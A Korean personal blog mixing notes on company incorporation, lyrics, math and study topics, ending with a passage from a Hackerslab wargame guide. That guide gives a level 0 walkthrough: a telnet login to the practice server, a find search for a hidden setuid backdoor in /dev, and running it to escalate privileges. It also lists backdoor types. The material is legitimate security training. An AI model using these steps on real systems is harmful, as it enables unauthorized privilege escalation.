2012년 5월 23일 수요일

회사 설립 절차 자료 모음.

내년 쯤에 회사를 하나 만들어 볼까 하고... ㅋㅋ

---------------------------------------------
[ 주식회사 설립방법 ]
우선 회사설립을 위한 기획과 업무추진을 하는 사람이 필요한데 상법에서는 이들을 발기인이라고 합니다. 1996년 10월 1일 이전에는 발기인이 7명 이상이었으나 상법이 개정이되면서 3명 이상으로 완화되었으며 통상 설립회사의 대표이사가 될 사람이 발기인 대표로서 설립에 관한 모든 사항을 주관하게 됩니다.발기인 및 구성인원의 결정   (1) 발기인 3인이상을 선정하여야 합니다.
   (2) 주식회사는 이사3명(대표이사인 이사를 포함), 감사1명은 반드시 있어야 함으로 최소한 인원4명이 선정되어야 합니다.
   (3) 발기인  중에서  이사.감사가 선임이 될 수도 있으므로 결국은 최소 인원으로 4명이  있으면 설립등기를 할 수 있습니다.
설립등기를 위하여 미리 결정하여야 할 사항

(1) 상 호
동일 관할법원 및 등기소 내에서는 동일. 유사업종에 동일  상호의 사용이 불가능 하므로 미리 법원 및 등기소에 비치되어 있는 법인 색인부의 상호를 열람한 후 결정해야 하며 상호의 앞 또는 뒤에 반드시 주식회사라는 명칭이 들어가야 합니다
(2) 본 점회사의 주 영업장소를 본점으로 하고 그 소재지 번을 기재합니다.(3) 지 점본점을 설치하는 경우에 한하여 기재를 하는 것이고, 설립당시에  설치를 하지 않을 경우에는 필요가 없는 사항입니다.(4) 회사가 발행할 예정주식의 총수회사가 설립시에 발행하는 주식의 4 배를 초과하지 않는 범위 내에서 결정하면 됩니다.(5) 1 주의 금액상법상 1 주의 금액은  금 100 원 이상으로 하도록 되었으므로 그 이상으로 하면 될 것이나 통상은 금5,000원 또는 금10,000원으로 합니다.(6) 회사가 설립시 발행하는 주식의 총수
     
- 회사 설립시 발행하는 주식의 수 : 1주의금액분의 자본금입니다.
     
그 종류와 각종 주식의 내용과 수 :
     
- 주식의 종류 : 회사의 형편에 따르나 일반적으로 보통주로 합니다.(7) 영업목적설립되는  회사가  하고자  하는 영업 목적을 나열하는 것으로  너무 추상적인 표현은 안되고 어느 정도 구체성을 가져야 합니다.(8) 자본의 총액
회사 설립의 자본금 총액을 말합니다.(9) 공고방법중앙 또는 지방의 일간 신문을 특정하여 기재를 하면 되는데 선택적 경기일보 또는 경인일보등으로는 할 수 없습니다.(10) 대표이사의 성명, 주소, 주민등록번호대표이사는 1인 또는 수인을 둘 수 있으며 수인일  경우에 각자 대표가 원칙이지만  공동으로만 대표권을 행사하도록 할 수도 있습니다.(공동대표이사)(11) 이사의 성명, 주소, 주민등록번호 상법상 주식회사의 이사는 3 인 이상을 두도록 정해져 있으며 상한 수는 없고 최소한 3 인은 되어야 하며 그 임기는 3년입니다.
  단) 자본금이 5억원 이하인 경우에는 이사 3인 이하로 할 수도 있습니다.
(12) 감사의 성명, 주소, 주민등록번호상법상 주식회사의 감사는 1 인 이상을 두도록 정해져 있으며 그 임기는 3년입니다.
 단) 취임 후 3년내의 최종의 결산기에 관한 정기주주총회의 종결시까지로 한다. 
(13) 주식 배분표발기인에 해당되는 사람은 반드시 1 주 이상을 인수하여야 하고  발기인이 아닌 자도 출자할 수 있으므로 출자하는 사람별로 그 금액을 결정하여 주주명부를 작성하게 됩니다.

설립에 관한 개괄적인 절차
                               - 
上記의 사항들이 결정이 되면 -

1) 정관을 작성하고
2) 발기인 및 청약주주들의 주금납입에 관한 절차를 경료한 후
3) 창립총회를 개최하고
4) 이사회를 개최하여 대표이사, 이사, 감사를 선임하고
5) 정관, 창립총회 의사록, 이사회의사록을 관할 공증사무소에서 공증을 받고
6) 설립등기 신청서를 작성하고 위 공증받은 의사록 ,기타 부속서류를 첨부하여 관할 법 원 또는 등기소에 등기신청을 하게 됩니다.
7) 설립등기 신청서를 법원 또는 등기소에 제출을 하면 3 일정도 경과 후에 법인등기부  등본을 발급받을 수 있게 됩니다.
[ 주식회사 설립비용 ]
  법인의 설립등기를 위해서는 다음과 같이 4가지 형태의 비용이 소요됩니다.1) 등록세 및 교육세   등록세액 : 설립시의 자본금액의 1,000 분의 4
   
교육세액 : 위 등록세액의 100분의 20
  예외적으로  지방세법 제138조 제1항 1호에 의하여 과밀 억제권의 대도시에서는 
등록세 및 교육세액이 3 배 중과세로 가산
이 됩니다.
 
2) 국민주택채권 매입액 (서울 : 지하철공채) : 자본금액의 1,000분의 1
     예) 자본금이 5 천만원인 경우 금 50,000원
3) 정관, 창립총회 의사록, 이사회 의사록에 관한 공증비용 
      
공증인가 합동 법률사무소 보수규정에 따릅니다4) 법무사 수수료 및 각종의 부대비용      법무사보수 산정 조견표에 따릅니다.
[ 법무사 사무실에서의 업무처리 범위 ]

1) 설립기획 단계에서 법무사 사무소에 상담을 의뢰하시면 전반적인 절차 및  준비사항
    에 대하여 안내를 하여 드리고 이 과정을 통하여 기초적인 지식을 바탕으로 발기인들
    의 협의에 의하여 상기의 사항들이 결정이 되면

2) 동일 등기소 관내에 동일업종에 동일한 상호의 사용이 불가능하므로 미리 상호 열람
    을 통하여 결정된 상호의 사용여부에 대한 판단을 대행하고

3) 위 결정사항을 토대로 정관 작성을 대행하고

4) 주식청약 및 납입에 관한 일체의 서류작성을 대행하고

5) 창립총회의 의사록, 조사보고서 작성에 관한 자문 및 의사록 작성을 대행하고

6) 이사회에 관한 자문 및 의사록 작성을 대행하고

7) 작성된 정관, 창립총회 의사록, 이사회의사록의 공증에 관한 절차를 대행하고

8) 설립등기 신청서를 작성한 후

9) 관할 법원 또는 등기소에 설립등기신청을 대리하며

10) 등기 종료 후 등기부등본을 발급받아 설립회사에 교부하는 단계에 이르기까지 법인 설립의 기획단계
     에서부터 설립등기를 종료할 때까지의 전 과정에 대하여 자문 및 대행을 하여 드리고 있습니다.
결론적으로 법인의 최소 구성인원 4명을 선정하고 선정된  사람들의  주민등록 등본 각1통, 인감증명서 각2통, 각각의 인감도장만 준비되면 모든 서류작성과 절차를 대행하여 설립등기를 종료한 후 등기부 등본을 교부받아 전해드립니다.

--------------------------------------------------------

6. 법률/지원제도
가. 회사설립 및 사업자등록 절차
  • 가) 사업자등록 안내
    • 1) 개요
      - 모든 사업자는 사업을 시작할 때 반드시 사업자등록을 하여야 한다.
      . 사업자등록은 사업장마다 하여야 하며(단, 사업자단위과세사업자는 본점 또는 주사무소)
      . 사업을 시작한 날로부터 20일 이내에 다음의 구비서류를 갖추어 가까운 세무서 민원봉사실에 신청하면 된다.
      사업자등록증은 사업자등록 즉시 발급하여 준다. 다만, 사전확인 대상 사업자의 경우 현장 확인 등의 절차를 거친 후 발급하여 준다.

      <구비 서류> . 사업자등록신청서 1부
      . 사업허가증·등록증 또는 신고필증 사본 1부
      (허가를 받거나 등록 또는 신고를 하여야 하는 사업의 경우)
      . 사업개시전에 등록을 하고자 하는 경우에는 사업허가 신청서 사본이나 사업계획서
      . 임대차계약서 사본 1부(사업장을 임차한 경우)
      . 2인 이상이 공동으로 사업을 하는 경우에는 공동사업 사실을 증명할 수 있는 서류
      . 도면 1부(상가건물임대차보호법이 적용되는 건물의 일부를 임차한 경우)
      ※ 법인의 경우 정관, 주주 또는 출자자명세서를 구비해야 하며 필요한 경우 법인 등기부등본을 제출해야 한다.
      . 금출처 명세서(금지금 도·소매업, 과세유흥장소에서 영업을 하려는 경우
    • 2) 사업개시전 사업자등록증 신청사업을 시작하기 전에 사업을 개시할 것이 객관적으로 확인되는 경우 사업자등록증을 발급하여 준다. 또한 사업자등록일로부터 역산하여 20일 이내에 상품이나 시설자재 등을 구입하고 구입자의 주민등록번호를 적은 세금 계산서를 발급받은 경우 예외적으로 매입세액을 공제받을 수 있다.
    • 3) 간이과세자 적용 기준간이과세자가 되려면 간이과세 적용신고도 함께 해야 한다. 간이과세 적용신고는 사업자등록신청서의 해당란에 표시하면 된다.

      <간이과세 적용기준>
      . 대상사업자 : 연간 공급대가(부가가치세 포함가격)가 4,800만원에 미달할 것으로 예상되는 사업자
      . 4,800만원 미만자라도 아래 사업은 간이과세를 적용받을 수 없다.
      - 간이과세 배제사업
      . 광업, 제조업(과자점, 떡방앗간, 도정·제분업, 양복·양장·양화점은 가능)
      . 도매업(소매업 겸업 시 도·소매업 전체), 부동산매매업
      . 시 이상 지역의 과세유흥장소
      . 변호사업, 심판변론인업, 변리사업, 법무사업, 공인회계사업, 세무사업, 경영지도사업, 기술지도자업, 감정평가사업, 손해 사정인업, 관세사업, 기술사업, 건축사업, 도선사업, 측량사업, 공인노무사업, 약사업, 한약사업, 수의사업 등
      . 사업장 소재지, 사업의 종류·규모 등을 감안하여 국세청장이 정한 간이 과세배제 기준에 해당 되는 사업자
      . 일반과세 적용을 받는 다른 사업장이 있는 경우
      (다만, 개인택시·용달차운송업, 이·미용업 등은 간이과세 계속 적용됨)
      . 일반과세자로부터 포괄양수 받은 사업
      . 복식부기의무자가 영위하는 사업
      . 둘 이상의 사업장의 매출액 합계가 연간 4,800만원 이상인 경우
    • 4) 사업자등록을 하지 않을 경우 불이익. 무거운 가산세를 물게 된다.
      개인 : 공급가액의 1%(간이과세자는 공급대가의 0.5%)
      법인 : 공급가액의 1%
      . 매입세액을 공제 받을 수 없다.
      사업자등록을 하지 않으면 세금계산서를 발급받을 수 없어 상품 구입시 부담한 부가가치세를 공제받지 못하게 된다.
  • 나) 사업자등록 신청시 유의사항
    • 1) 과세업종인지 면세업종인지를 확인하여야 한다.
      . 부가가치세가 과세되는 사업은 과세사업자등록을, 면제되는 사업은 면세 사업자등록을 하여야 한다.
      . 과세사업과 면세사업을 겸업할 때에는 과세사업자등록만 하면 된다.
    • 2) 사업자의 유형을 먼저 결정하여야 한다.
      . 사업형태를 개인으로 할 것인가, 법인으로 할 것인가 또는 사업자의 유형을 일반과세자로 할 것인지, 간이과세자로 할 것인지를 결정해야 한다.
      . 개인과 법인은 창업절차 등 세법 상 차이점이 있으므로, 이를 참고하여 개개인의 사정에 따라 선택하여야 하나, 선택하기가 어려울 경우 먼저 개인으로 시작을 하고, 나중에 사업규모가 커지면 법인으로 전환하는 방법도 고려해 볼 수 있습니다.
      . 개인사업자는 다시 매출액의 규모에 따라 일반과세자와 간이과세자로 구분되지만 간이과세자에 해당되더라도 세금계산서를 수수해야 할 필요가 있는 사업자는 반드시 일반과세자로 신청하여야 하기 때문에 업종에 맞는 유형을 선택하여야 한다.
    • 3) 관련법규의 허가·등록·신고대상 업종인지 확인하여야 한다.
      . 허가·등록·신고 업종인 경우 사업자등록 신청 시 허가증·등록증·신고 필증 사본 등을 제출해야 한다.
      . 따라서 약국·음식점·학원 등 허가, 신고 또는 등록을 해야 하는 업종인 경우 관련 공공기관으로부터 먼저 허가 등을 받아야 한다.
    • 4) 공동사업의 경우 관련 증빙서류를 제출하여야 한다.
      . 2인 이상의 사업자가 공동으로 사업을 하는 경우 이 중 1인을 대표자로 선정해야 한다.
      . 또한 공동으로 하는 사업임을 증명할 수 있는 동업계약서 등의 서류를 제출하여야 한다.
    • 5) 사업자등록 신청 시 필요한 서류를 챙깁니다.
      . 사업자등록신청 시 업종에 맞는 구비서류를 잘 챙기셔야 사업자등록증을 교부받을 수 있습니다.
      . 구비서류 : 국세청홈페이지(국세정보→사업자등록안내)참조 또는 '국세청 126 세미래콜센터'에 문의
  • 다) 사업자 유형
    • 1) 사업형태에 따른 분류
      사업자 유형은 사업형태에 따라 개인사업자와 법인사업자가 있다.
      . 개인사업자
      개인사업자란 회사를 설립하는데 상법 상 별도의 절차가 필요하지 않아 그 설립 절차가 간편하고 휴·폐업이 비교적 간단하며 부가가치세와 소득세 납세의무가 있는 사업자를 말한다.
      . 법인사업자
      법인사업자란 법인 설립등기를 함으로써 법인격을 취득한 법인뿐만 아니라 국세기본법의 규정에 따라 법인으로 보는 법인격 없는 단체 등도 포함되며 부가가치세와 법인세 등 납세의무가 있는 사업자를 말한다.
    • 2) 과세유형에 따른 구분
      개인사업자는 부가가치세의 과세여부에 따라 과세사업자와 면세사업자로 구분된다. 다만, 과세와 면세 겸업사업자인 경우에는 사업자등록증이 과세사업자로 발급된다.
      . 과세사업자
      과세사업자는 부가가치세 과세대상 재화 또는 용역을 공급하는 사업자로서 부가가치세 납세의무가 있는 사업자를 말한다.
      . 면세사업자
      면세사업자는 부가가치세가 면제되는 재화 또는 용역을 공급하는 사업자로서 부가가치세 납세의무가 없는 사업자를 말한다.
      ※ 부가가치세 면세사업자라도 소득세 납세의무까지 면제되는 것은 아닙니다.
    • 3) 사업규모에 따른 구분
      개인 과세사업자는 사업의 규모에 따라 일반과세자와 간이과세자로 구분한다.
      . 일반과세자
      연간 매출액이 4,800만원이상으로 예상되거나 간이과세가 배제되는 업종 또는 지역에서 사업을 하고자 하는 경우 일반과세자로 등록하여야 한다.
      일반과세자는 10%의 세율이 적용되는 반면, 사업과 관련된 물건 등을 구입 하면서 받은 매입세금계산서상의 부가가치세액을 전액 공제받을 수 있고, 세금계산서를 발행할 수 있다.
      .간이과세자
      주로 소비자를 상대하는 업종으로서 연간매출액이 4,800만원에 미달할 것으로 예상되는 소규모사업자의 경우에는 간이과세자로 등록할 수 있다. 간이과세자는 업종별로 1.5~4%의 낮은 세율이 적용되지만, 매입세액의 15~40%만을 공제받을 수 있으며, 세금계산서를 발행할 수 없다.
      <표> 개인과 법인의 세제상 주요 차이
      구 분개인 기업법인 기업
      납부세금소득세법인세·소득세
      세율구조6~35%(4단계)10~22%(2단계)
      납세지사업자 주소지본점·주사무소 소재지
      기장의무간편장부/복식부기복식부기
      외부감사제도없음자산총액 70억원 이상 법인
(출처 : 창업넷, http://www.changupnet.go.kr)
---------------------------------------------------------------------------------------------------------


링크들...



2012년 5월 22일 화요일

TLC unpretty

I wish could tie you up in my shoes
(내가 느끼는 감정을 너도 똑같이 느끼게 해주고싶어)
Make you feel unpretty too
(못생겼다는 느낌을 너도 갖게 해 주고 싶다구) 
I was told I was beautiful
(난 늘 예쁘다는 말을 들어 왔었는데)
But what does that mean to you?
(너한테는 그게 대체 어떤 의미니?)
Look into the mirror who\'s inside there
(거울을 보면 늘 보이는 사람)
The one with the long hair
(긴 머리를 늘어뜨리고)
Same old me again today (yeah)
(결국은 또 지겨운 내 모습이 보여)

My outsides look cool
(내 겉모습은 예쁘지만)
My insides are blue
(내 가슴속은 늘 우울해)
Everytime I think I\'m through
(이젠 정말 끝이다 싶을 때마다)
It\'s because of you
(그건 다 너 때문이야)
I\'ve tried different ways
(다른 방법들을 시도해 봤지만)
But it\'s all the same
(결국에는 다 똑같은걸)
At the end of the day
(그러다가 하루가 끝나갈 때면)
I have myself to blame
(내 자신을 원망하게 돼)
I\'m just trippin
(그렇게 하루가 지나가)

Chorus:
You can buy your hair if it won\'t grow
(당신도 머리카락이 잘 길지 않으면 가발을 써도 돼요)
You can fix your nose if he says so
(그가 당신 코가 못생겼다고 하면 수술을 해도 되구요)
You can buy all the make up
(화장품을 많이 사도 괜찮아요)
That M.A.C. can make
(매력적인 눈화장도 좋을 거예요)
But if you can\'t look inside you
(그렇지만 진정 당신의 내면을 들여다 볼 수 없다면)
Find out who am I too
(나와 마찬가지로 당신이 진정 누군지 알아낼 수 없다면) 
Be in the position to make me feel
(당신도 내 입장이 되서 느껴야 해요)
So damn unpretty
(내 감정이 날 얼마나 못생기게 만드는지)

I\'ll make you feel unpretty too
(너도 못생긴 느낌을 갖게 해 줄거야)
Never insecure until I met you
(널 만나기 전까지 내 삶은 순조로웠어)
Now I\'m bein stupid
(그런데 이제 난 바보가 됐지)
I used to be so cute to me
(난 한 때는 내 자신이 귀엽다고만 생각했는데)
Just a little bit skinny
(이제는 살을 좀 빼고 싶어)
Why do I look to all these things
(왜 내가 이런것들에 신경쓰는 거지)
To keep you happy
(단지 널 기쁘게 해주기 위해서)
Maybe get rid of you
(아마도 널 내 삶에서 떼네고 나면)
And then I\'ll get back to me (hey)
(나도 다시 내 자신이 될 지 몰라)

My outsides look cool
(내 겉모습은 예쁘지만)
My insides are blue
(내 가슴속은 늘 우울해)
Everytime I think I\'m through
(이젠 정말 끝이다 싶을 때마다)
It\'s because of you
(그건 다 너 때문이야)
I\'ve tried different ways
(다른 방법들을 시도해 봤지만)
But it\'s all the same
(결국에는 다 똑같은걸)
At the end of the day
(그러다가 하루가 끝나갈 때면)
I have myself to blame
(내 자신을 원망하게 돼)
I\'m just trippin
(그렇게 하루가 지나가)

Chorus

Oh oh oh oh oh
Oh oh oh oh oh (oh)
Oh oh oh oh oh
Oh oh oh oh oh (oh)

Chorus
My outsides look cool
(내 겉모습은 예쁘지만)
My insides are blue
(내 가슴속은 늘 우울해)
Everytime I think I\'m through
(이젠 정말 끝이다 싶을 때마다)
It\'s because of you
(그건 다 너 때문이야)
I\'ve tried different ways
(다른 방법들을 시도해 봤지만)
But it\'s all the same
(결국에는 다 똑같은걸)
At the end of the day
(그러다가 하루가 끝나갈 때면)
I have myself to blame
(내 자신을 원망하게 돼)
I\'m just trippin
(그렇게 하루가 지나가)

키보드.꾸미기

스티커.조으다


J_열 우선 순위





2차원 배열도 선형 데이터 구조(물리 메모리)에서는 1차원 배열로 저장된다.
대부분 행 우선이지만, 포트란 처럼 열 우선인 애도 있었다.

a[3][0]은

a[0][0], a[1][0], a[2][0] 다음에 나오는거다.

그나저나 이순신은 저 2차원 행렬을 1차원 행렬로 이긴 사람이다.

저게 가능한가?

밀위키 가볼만한곳

은 두군데이다. 밀러 맥주 공장이 있는데 거기랑 할리 데이비슨 박물관. 맥쥬공당 튜어는 공짜다
할리는 돈 낸다. 그래서 일층만 봤다. 밀러공장은 투어 끝나고 맥주 세잔도
공짜. Drunken..





와인 추천 베어풋.추천

뮤스카토 와인은 브랜드 상관없이.달달하다. 베어풋은.미국에서도 유명한데 한국에 수입된지 일년 정도 된 것 같다... 구 전에는 미국에서민 먹을 수 있었거나 직수입을 구매해야 했다. 지금은 직수입의.절반에도 못.미치지만 여전히 비싸다


기내에서 파는 미니스피커

잘.산 것 같다. 돌리면 커지고 케이스도 이쁘당..케이블.안.들어있는둘 알고 욕했았는데 is Bottom.of.the case...


for 문 할 때 i, j로 나타내는 이유

이중  for 문을 돌릴 때 i, j로 나타내는데 이는 선형대수에서 행과 열을 i, j 혹은 m, n 으로 나타내기 때문이다. 이중 for 문도 실 메모리에서는 linear 하게 저장이 된다. 우리의 머리속에서는 네모난 구조로 보이는데 이는 행렬의 모습과 일치한다.

그래서 i, j로 나타낸다. a, b로 해도 되고 x, y 로 해도 되겠지만 일반적으로 i, j 로 나타낸다.

개인적인 생각이다.

that 만 써야 하는 경우

all every no some anything somebody anybody 와 the가 붙는 the only the very the last ...

좀 애매 모호한게 있으면 which  쓰지 말고 that 쓰면 된다.

사람 - 사물

사물 - 사람

도 that.

결국 that 쓰고 다 생략하면 된다는 이야기.

that이 처음 나올 때는 생략 불가... 당연히 예측하기 힘드니까.

confirm, inform, reply 생략 불가라고 하는데 이것도 "애매모호"에서 쓰인다고 하면,

그 애매모호에 주제가 들어있는 경우 that은 생략 불가로 생각하면 된다.

즉, that 절이 주제를 담고 있을 때 생략하지 않는게 좋다는 것.

영어 회화에서도 땟~(that) 했을 때 왠지 귀를 기울여 집중해야 하지 않은가?

the나 and 처럼 말이다.

문법적으로 완벽한 규칙은 없는 듯. 한글도 아니고.

한글은 완벽하지만 마케팅이 부족한 언어였는데 한류를 타고 멀리 퍼지길.

공부 공부...

영상표현 : 컴퓨터의 시각 시스템의 처리 단계를 영상취득, 전처리, 영상분할, 영상표현, 분석등의 단계로 구분할 때, 영상 내의 객체를 해석하기 위해 객체 영역을 적절한 방법으로 컴퓨터 내에 묘사하는 과정.

소벨 연산자의 경우 2개의 마스크를 사용함.

두 좌표 사이의 직성거리를 구하는 거리 측정자는 유클리드 거리 측정

결정트리 학습에서 노드에 분류된 학습표본 부분집합의 불순도가 임계치 미만일 때 단말노드를 생성함.

단층 퍼셉트론은 델타규칙을 사용하여 지도학습 방식으로 학습한다.

LVQ 학습 모델에서 학습표본 Xj가 제시되었을 때 승자노드의 연결가충치를 Wm이라고 하자. Xj가 Wm가 다른 클래스에 속하는 경우 Wm이 Xj로부터 멀어지도록 Wm을 이동한다.

k-평균 군집화 : 반복 학습 과정 중 특정 군집으로 분류된 학습표본들의 평균으로 그 군집의 평균벡터를 수정한다.

2012년 5월 21일 월요일

크래머 공식

차수 변환이 없는 일차 연립 방정식은 x, y 는 항상 고정이라 굳이 적을 필요 없다.
그래서 행렬로 풀기도 한다. 계수와 상수만 적으면 숫자가 되니까.

Xj = |C| / |A|

|A| 는 행렬식

|C| 는 상수행렬을 j 열과 치환하며 구하는 것이다.


문제는 이걸 왜 하는지 모르겠다는 거... 걍 푸는게 더 빠른데 

2, 3차 행렬식



2차 행렬식은
a b
c d

있으면 ad-bc 다. 3차도 같은 방식이다.

위 그림처럼 2차 행렬식을 연상하여 곱하고 +, - 해주면 된다.


2012년 5월 19일 토요일

제로니모 다운로드 사이트

http://geronimo.apache.org/downloads.html


해킹 SOLVING

보안(유닉스/리눅스)/해킹기법/해커스랩 레벨업..- 최근들어 인터넷의 활성화와 더불어 보안에 대한 관심이 고조되고 있는 상황에서 유닉스/리눅스의 보안에 대해 알아보고 보안 헛점을 노리는 여러가지 해킹 기법과 이러한 해킹을 막을 수 있는 방법에 대해서도 알아보자. 또한 지난해 7월 해커의 양성화를 위해 해킹기법을 실전으로 익히는 장을 마련한 해커스랩 레벨업에 대해서도 알아보자.(질문은 게시판을 이용해 주세요...)
목차
  1. 유닉스/리눅스 보안
  2. 해킹을 배워보자
  3. 해커스랩 레벨 업
    1. 레벨0 -> 레벨1
    2. 레벨1 -> 레벨2
    3. 레벨2 -> 레벨3
    4. 레벨3 -> 레벨4
    5. 레벨4 -> 레벨5
    6. 레벨5 -> 레벨6
    7. 레벨6 -> 레벨7
    8. 레벨7 -> 레벨8
    9. 레벨8 -> 레벨9
    10. 레벨9 -> 레벨10
    11. 레벨10 -> 레벨11
    12. 레벨11 -> 레벨12
    13. 레벨12 -> 레벨13
    14. 레벨13 -> 레벨14
    15. 레벨14 -> 레벨15


  1. 유닉스/리눅스 보안
  2. 해킹을 배워보자
  3. 해커스랩 레벨 업(1999-12-13 11:10:40 ~ 1999-12-29 16:46:26) 해커스랩:[http://www.hackerslab.org]

    10만 해커 양성하여 사이버코리아를 수호하자...

    지금까지 우리사회에서는 해커(Hacker)라는 용어가 잘못 사용되어왔습니다.

    해커라는 용어는 1950년대 미국 MIT공과대학내『테크모델철도클럽』이라는 동아리의『신호기와 동력분과』라는 분과모임의 학생들이 철도분기점 입체화 설계에 따르는 난문제들을 해결하기위해 악착같은 노력으로 대학내 제26동 건물에 밤마다 몰래 들어가서 IBM704 컴퓨터시스템을 사용하여 어려운 문제를 해결해내자 이들 집념어린 노력가들을 핵(hack)이라 불렀습니다 .

    이때부터「산출된 결과」를 통해「집념과 악착같은 노력」을 나타내는『결과산출자(Producer)』를 Hacker 라고도 부르게 되었다. 해커라는 말뜻에는 집념과 악착같은 노력 기술수준 높은 결과를 산출하는 기술연마자라는 뜻이 어울어져있습니다. (hack + Producer =Hacker)

    그후 컴퓨터에 강한 흥미를 가지고 있으면서 이에 몰두하는 사람을 해커라 부르기도 하다가 네트워크의 까다로운 침입 방어 시스팀을 뚫는데서 성취감 또는 쾌감이나 기쁨을 찾는 일에 열중하는 사람이 출현하면서『해커〓컴퓨터 침입자』라는 어감이 퍼졌고 컴퓨터를 이용한 범죄의 증가로 급기야는 장난기나 범죄를 목적으로 단말기나 통신회선을 통해 컴퓨터에 침입하여 정보를 빼내거나 혼란을 일키는 범죄자라는 뜻으로까지 변질되었습니다.

    그러나 미국, 유럽등을 비롯한 선진국에서는 해커보다는 시스템 불법침입자는 intruder, attacker, 파괴자는 cracker 로 부르며 해커와는 구분하여 사용하고 있으나 국내에서는 혼용 사용되고 있습니다.

    국내에 네트워크 환경이 본격 보급되기 이전에는 대중들이 크래커라는 개념을 이해하지 못해 해커라는 용어를 사용하였으나 현재 우리나라의 수준에서 볼 때 이제는 해커와 크래커등을 구분하여 불러줄 때가 되지 않았나 생각합니다.

    최근 국내에서는 해커를 범죄적 해커(Criminal Hacker)와 단순히 호기심이나 실력을 연마하려는 레크레이셔널 해커로 구분하려는 경향이 있으나 (주)시큐어소프트에서 운영하는 해커스랩에서는 컴퓨터분야의 전문기술자는 해커로, 타인이 관리하는 전산망에 불법 침입하거나 시스템을 파괴하는 자는 크래커로 불러서 해커와 크래커를 명확하게 구분하여 사용하여 범죄행위자들과 엄격히 구분되는 컴퓨터 전문기술자라는 원래의 의미로 되돌아가야 할 것입니다.

    해커스랩은 우선 해커라는 의미가 범죄자적 의미가 아닌 순수한 컴퓨터 매니아로서의 의미를 이땅에 정착시키고져 노력할 것입니다

    또한 청소년들이 자유롭게 해킹을 실습할 수 있는 놀이공간으로 이곳에서는 해킹을 해도 수사기관에서 잡아가지 않으니 다른 곳에서 마음 졸이며 해킹하지 말고 해커스랩에서 마음놓고 공격과 방어 기술을 습득하기 바랍니다.
    --- 중략 ---

    --- 해커스랩 소개(만든배경) 중에서 ---


    FHZ(Free Hacking Zone) 이용방법:

    계정은 level0부터 13까지 주어지며 , 사용자 등록을 하신후 (정확한 메일주소는 필수사항 : 차후 메일링 리스트를 만들어 최신 정보 배포 예정임)
    Real Hactopia로 이동 하시면 사용자 인증후(이 부분은 각 사용자마다 레벨을 자동으로 체크해주기 때문에 필요한 부분입니다.) 문제가 자동으로 뜹니다.

    그 문제의 해답(?)을 drill.hackerslab.org 에서 찾으셔서 pass란 명령을 셀에서 치시면 암호가 나올것입니다.(EUID)

    그 암호를 잊지마시고 이곳에서 등록해 주시면 자동으로 레벨이 업그레이드가 됩니다. 레벨 13이 되실경우 명예의 전당에 등록되며 소정의 혜택이 주어집니다.

    즉 웹에서 등록하신 아이디는 웹상에서의 관리를 위한 아이디 이며 telnet으로 drill.hackerslab.org에 접속하실때는 level0 / guest로 초기 접속이 가능합니다.

    그리고 웹상에 기출된 문제를 *drill.hackerslab.org* 에 셀로 접속한 상태로 작업하신후 얻어내신 password를 *웹상에서* 등록하시면 레벨업이 됩니다


    1. 레벨0 -> 레벨1 패스워드 <문제>
      누군가 우리 시스템에 백도어를 설치하여 두었다. 여러분은 이 백도어를 악용하여 레벨0를 통과한다.

      <힌트>
      디바이스도 아닌것이 디바이스 드라이버 무리속에..

      <레벨업>
      백도어(back door)란 해커가 시스템을 해킹한 후(해킹과정에는 보통 Local attack과 Remote attack이 있다. Local attack이란 해커가 해킹을 하려고 하는 시스템에 계정이 있는 경우 시스템 자체의 버그를 이용하여 해킹하는 방법이고, Remote attack이란 계정인 없는 경우 Protocol상의 문제점이나, 해킹하려고 하는 시스템의 여러가지 인터넷 서비스 설정 버그, 또는 다른 여러 방법을 동원하여 일단 대상 시스템에 침투하는 과정을 말한다.) 다음번에 다시 대상 시스템에 들어가기위해 복잡한 해킹 과정을 거치지 않고 쉽게 해킹할 수 있도록 대상시스템에 만들어 놓은 일종의 개구멍이라 할 수 있다.

      백도어의 종류 - 자세한 이야기는 다음 기회에 하기로 하자...

      • 패스워드 크랙킹 백도어
      • rhosts + + 백도어
      • 체크섬(checksum)과 타임스탬프(timestamp) 백도어
      • 로긴(login) 백도어
      • Telnetd 백도어
      • 서비스 백도어(Services backdoor)
      • Cronjob 백도어
      • 라이브러리(library) 백도어
      • 커널(kernel) 백도어
      • 파일시스템(file system) 백도어
      • 부트블럭(boot block) 백도어
      • 프로세스(process)를 감추는 백도어
      • 루트킷(Rootkit)
      • 네트워크 트래픽(network traffic) 백도어
      • TCP 쉘(TCP shell) 백도어
      • UDP 쉘(UDP shell) 백도어
      • ICMP 쉘(ICMP shell) 백도어
      • 암호화된 링크(Encrypted Link>


      일단 해당 백도어가 디바이스 무리속에 있기 때문에 유닉스의 파일시스템에서 디바이스 디렉토리인 /dev로 가서 숨겨진 백도어를 찾도록 한다.

      [bluesky@bluestar bluesky]$telnet drill.hackerslab.org
      login:level0
      password:guest
      .....
      [level0@drill level0]$ pwd[현재위치는?]
      /home/level0
      [level0@drill level0]$ whoami[나는 누구?]
      level0
      [level0@drill level0]$ id [id(uid/gid)확인]
      uid=2000(level0) gid=2000(level0) groups=2000(level0),9999(hackerszone)
      [level0@drill level0]$ cd /dev
      [level0@drill /dev]$

      이제 숨겨진 백도어를 find 명령을 이용하여 찾아보자(다음레벨로 올라가기 위한 백도어이기 때문에 이 백도어의 user는 level1일 것이다.
      현재위치(.)에서 user가 level1이고 group이 level0인 화일을 찾아서 화면상에 보여준다. 결과를 화일로 저장하고 싶은 경우는 [find . -user level1 -group level0 -print > file]와 같이 해준다.

      [level0@drill /dev]$ find . -user level1 -group level0 -print
      ./.hi <--- 우리가 찾는 백도어(.으로 시작하는 히든화일이다.)

      [level0@drill /dev]$ ls -l .hi
      -rwsr-x--- 1 level1 level0 12900 Aug 10 15:15 .hi
      <-- suid(s)가 설정되어 있으며, level0(group) user가 실행(x)이 가능하다. 그러므로 이 백도어를 실행하면.. level1 shell이 뜨게된다.(결과론적 얘기임..)

      [level0@drill /dev]$ ./.hi[백도어 실행]
      [level0@drill /dev]$ id
      uid=2000(level0) gid=2000(level0) euid=2001(level1) groups=2000(level0),9999(hackerszone)
      [level0@drill /dev]$ whoami
      level1
      [level0@drill /dev]$xxxx <-- 운영자가 만든 해당 shell 사용자의 패스워드를 보여주는 스크립트
      ---------------------------------------------------------------------
      [ LEVEL 1 ]
      ---------------------------------------------------------------------
      패스워드 : xxxxxxxx
      ---------------------------------------------------------------------
    2. 레벨1 -> 레벨2 패스워드 <문제>
